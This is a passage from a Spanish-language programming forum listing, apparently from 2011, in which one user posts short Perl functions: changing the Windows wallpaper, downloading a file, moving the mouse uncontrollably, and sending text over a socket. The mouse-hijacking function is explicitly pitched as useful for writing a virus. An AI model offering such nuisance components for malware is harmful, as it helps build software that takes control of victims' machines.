  8. my $a = new Win32::API("user32","SystemParametersInfo", [L,L,P,L],L);
  9. $a->Call(20,0,$_[0],0);
  10.  
  11. }
  12.  

Ejemplo de uso

 
Código
  1. cambiar_fondo("c:/Perl/img.bmp");
  2.  
358  Programación / Scripting / [Perl] Funcion download() en: 13 Octubre 2011, 17:14 pm
HOla aca les traigo una funcion para descargar
archivos

Código
  1. #!usr/bin/perl
  2. #Simple downloader in Perl
  3. #By Doddy H
  4.  
  5. use LWP::UserAgent;
  6.  
  7. my $nave = LWP::UserAgent->new;
  8. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  9. $nave->timeout(5);
  10.  
  11. sub download {
  12. if ($nave->mirror($_[0],$_[1])) {
  13. if (-f $_[1]) {
  14. return true;
  15. }}}


Sintasis

Código
  1. download(url a bajar,nombre de archivo con el que se guarda);


Ejemplo de uso

Código
  1. if (download("http://127.0.0.1/bones.rar","bones.rar")) {
  2. print "[+] file downloaded\n";
  3. }
  4.  
359  Programación / Scripting / [Perl] Funcion crazymouse() en: 13 Octubre 2011, 17:13 pm
Hola a todos

Si yo de nuevo con esta nueva funcion crazymouse()
, con esta funcion podran volver loco al mouse sin poder controlarlo
todo por un tiempo elegido por ustedes , muy util si estan por
hacer un virus
Código
  1.  
  2. #By Doddy H
  3. use Win32::GuiTest qw(MouseMoveAbsPix SendMessage);
  4.  
  5. sub crazymouse {
  6. for my $number(1..$_[0]) {
  7. MouseMoveAbsPix($number,$number);
  8. }
  9. }

Ejemplo de uso

Código
  1. crazymouse("666");
  2.  
360  Programación / Scripting / [Perl] Funcion conectar() en: 13 Octubre 2011, 17:12 pm
Hola a todos.

Aca les dejo una funcion para conectarse mediante sockets al servidor que quieran

Código
  1. use IO::Socket;
  2.  
  3. sub conectar {
  4.  
  5. my $sockex = new IO::Socket::INET(PeerAddr => $_[0],PeerPort => $_[1],
  6. Proto => "tcp",Timeout  => 5);
  7.  
  8. print $sockex $_[2]."\r\n";
  9. $sockex->read($re,5000);
  10. $sockex->close;
  11. return $re."\r\n";
  12. }
  13.  

Sintasis

Código:
conectar(host,puerto,parametro a enviar)

Ejemplo de uso

Código
  1. $re = conectar("127.0.0.1","80","GET /sql.php HTTP/1.0\r\n");
  2. print $re;
  3.  
Páginas: 1 ... 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 [36] 37 38 39 40 41 42 43
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines